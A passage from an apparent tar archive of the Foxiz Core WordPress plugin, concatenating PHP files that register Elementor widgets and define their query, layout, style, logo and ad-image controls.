'default' => '0', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { \foxiz_elementor_header_search( $this->get_settings() ); } }elementor/base.php000064400000007770147206624460010207 0ustar00path = FOXIZ_CORE_PATH . 'elementor/'; require_once $this->path . 'section.php'; require_once $this->path . 'templates.php'; add_action( 'elementor/widgets/register', array( $this, 'register_widgets' ) ); add_action( 'elementor/elements/categories_registered', array( $this, 'register_categories' ), 0 ); add_action( 'elementor/element/section/section_background/after_section_end', 'foxiz_section_dark_mode', 10, 2 ); add_action( 'elementor/element/section/section_structure/after_section_end', 'foxiz_section_header_sticky', 10, 2 ); } public static function get_instance() { if ( ! self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * @param $elements_manager * register category */ public function register_categories( $elements_manager ) { $elements_manager->add_category( 'foxiz', array( 'title' => esc_html__( 'Foxiz Blocks', 'foxiz-core' ), 'icon' => 'eicon-section', ) ); $elements_manager->add_category( 'foxiz_header', array( 'title' => esc_html__( 'Foxiz Header', 'foxiz-core' ), 'icon' => 'eicon-header', ) ); } /** register widgets */ public function register_widgets() { $this->load_controls(); $this->load_files(); $widgets = array( 'Block_Heading', 'Classic_1', 'Grid_1', 'Grid_2', 'Grid_Box_1', 'Grid_Box_2', 'Grid_Small_1', 'List_1', 'List_2', 'list_Box_1', 'list_Box_2', 'List_Small_1', 'List_Small_2', 'List_Small_3', 'Overlay_1', 'Overlay_2', 'Hierarchical_1', 'Hierarchical_2', 'Hierarchical_3', 'Category_List_1', 'Category_List_2', 'Category_List_3', 'Category_List_4', 'Category_List_5', 'Newsletter_1', 'Newsletter_2', 'Newsletter_3', 'Playlist', 'Quick_Links', 'Breaking_News', 'Covid_Data', 'Ad_Image', 'Ad_Script', 'Block_Weather', 'Block_Social_Follower', 'Banner', 'Plan', 'Logo', 'Dark_Mode_Toggle', 'Navigation', 'Social_List', 'Header_Search_Icon', 'Header_Notification', 'Mini_Cart', 'Header_Login_Icon', 'Font_Resizer_Icon', 'Footer_Menu' ); foreach ( $widgets as $widget ) { $widget_name = 'foxizElementor\Widgets\\' . $widget; if ( class_exists( $widget_name ) ) { \Elementor\Plugin::instance()->widgets_manager->register( new $widget_name() ); } } } private function load_controls() { require_once( FOXIZ_CORE_PATH . 'elementor/control.php' ); } private function load_files() { $sources = array( 'heading', 'classic-1', 'grid-1', 'grid-2', 'grid-box-1', 'grid-box-2', 'grid-small-1', 'list-1', 'list-2', 'list-box-1', 'list-box-2', 'list-small-1', 'list-small-2', 'list-small-3', 'overlay-1', 'overlay-2', 'hierarchical-1', 'hierarchical-2', 'hierarchical-3', 'quick-links', 'categories-1', 'categories-2', 'categories-3', 'categories-4', 'categories-5', 'covid-data', 'newsletter-1', 'newsletter-2', 'newsletter-3', 'videos', 'ad-image', 'ad-script', 'breaking-news', 'weather', 'social-follower', 'banner', 'plan', 'section', 'logo', 'dark-toggle', 'navigation', 'social-list', 'search-icon', 'notification-icon', 'mini-cart', 'login-icon', 'font-resizer', 'menu' ); foreach ( $sources as $name ) { $file = $this->path . trim( $name ) . '.php'; if ( file_exists( $file ) ) { require_once $file; } } } } /** load plugin */ Plugin::get_instance();elementor/list-box-2.php000064400000071442147206624460011172 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections with gray background, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_responsive_control( 'featured_width', array( 'label' => esc_html__( 'Custom Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet' ), 'description' => esc_html__( 'Input custom width values (px) for the featured image. Leave blank to set it as the default.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .p-list-box-2 .list-feat-holder' => 'width: {{VALUE}}px; max-width: {{VALUE}}px;', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::featured_position_description(), 'options' => Options::featured_position_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'box_section', array( 'label' => esc_html__( 'Boxed Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'box_style', array( 'label' => esc_html__( 'Boxed Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::box_style_description(), 'options' => Options::box_style_dropdown(), 'default' => '0', ) ); $this->add_control( 'box_color', array( 'label' => esc_html__( 'Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .list-box' => '--box-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_box_color', array( 'label' => esc_html__( 'Dark - Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_dark_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .list-box' => '--dark-box-color: {{VALUE}};' ), ) ); $this->add_responsive_control( 'box_padding', array( 'label' => esc_html__( 'Box Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--box-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'list_gap', array( 'label' => esc_html__( '1/2 Featured Spacing Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::list_gap_description(), 'devices' => array( 'desktop', 'tablet'), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--list-holder-spacing: {{VALUE}}px; --list-holder-margin: -{{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_box_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_box_2( $settings ); } } }elementor/templates.php000064400000005120147206624460011256 0ustar00 $settings['main_menu'], 'menu_id' => false, 'container' => '', 'menu_class' => 'main-menu rb-menu large-menu', 'walker' => new Foxiz_Walker_Nav_Menu(), 'depth' => 4, 'items_wrap' => '
      %3$s
    ', 'echo' => true, 'fallback_cb' => 'foxiz_navigation_fallback', 'fallback_name' => esc_html__( 'Main Menu', 'foxiz' ) ); if ( ! empty( $settings['color_scheme'] ) ) { $args['sub_scheme'] = 'light-scheme'; } ?>
    $settings['menu'], 'menu_id' => false, 'container' => '', 'menu_class' => 'sidebar-menu', 'depth' => 4, 'echo' => true ) ); } } elementor/logo.php000064400000010501147206624460010217 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Logo Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'logo', array( 'label' => esc_html__( 'Logo Image', 'foxiz-core' ), 'description' => esc_html__( 'Select or upload a logo image.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'dark_logo', array( 'label' => esc_html__( 'Dark Mode - Logo Image', 'foxiz-core' ), 'description' => esc_html__( 'Select or upload a logo image in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'logo_link', array( 'label' => esc_html__( 'Custom Logo URL', 'foxiz-core' ), 'description' => esc_html__( 'Input a custom URL for the logo, Default will return to the homepage.', 'foxiz-core' ), 'type' => Controls_Manager::URL, 'default' => array( 'url' => '', 'is_external' => false, 'nofollow' => false, 'custom_attributes' => '', ), 'label_block' => true, ) ); $this->end_controls_section(); $this->start_controls_section( 'logo-style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'logo_width', array( 'label' => __( 'Logo Width', 'foxiz-core' ), 'description' => esc_html__( 'Set a max width for your logo', 'foxiz-core' ), 'type' => Controls_Manager::SLIDER, 'range' => array( 'px' => array( 'min' => 0, 'max' => 800, ), ), 'selectors' => array( '{{WRAPPER}} .the-logo img' => 'width: {{SIZE}}px;' ) ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'left' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'right' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .the-logo' => 'text-align: {{VALUE}};', ), ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { $settings = $this->get_settings(); if ( empty( $settings['logo']['url'] ) ) { return false; } if ( empty( $settings['logo_link']['url'] ) ) { $settings['logo_link']['url'] = home_url( '/' ); } $this->add_link_attributes( 'logo_link', $settings['logo_link'] ); ?> start_controls_section( 'general', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a description for this adverting box.', 'foxiz-core' ), 'default' => esc_html__( '- Advertisement -', 'foxiz-core' ), ) ); $this->add_control( 'image', array( 'label' => esc_html__( 'Ad Image', 'foxiz-core' ), 'description' => esc_html__( 'Upload your ad image.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'dark_image', array( 'label' => esc_html__( 'Dark Mode - Ad Image', 'foxiz-core' ), 'description' => esc_html__( 'Upload your ad image in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'destination', array( 'label' => esc_html__( 'Ad Destination', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input your ad destination URL.', 'foxiz-core' ), 'default' => '' ) ); $this->end_controls_section(); $this->start_controls_section( 'image_width_section', array( 'label' => esc_html__( 'Image Max Width', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'image_width', array( 'label' => esc_html__( 'Image Max Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a max width value (in px) for your ad image, leave blank set full size.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .ad-image' => 'max-width: {{VALUE}}px', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 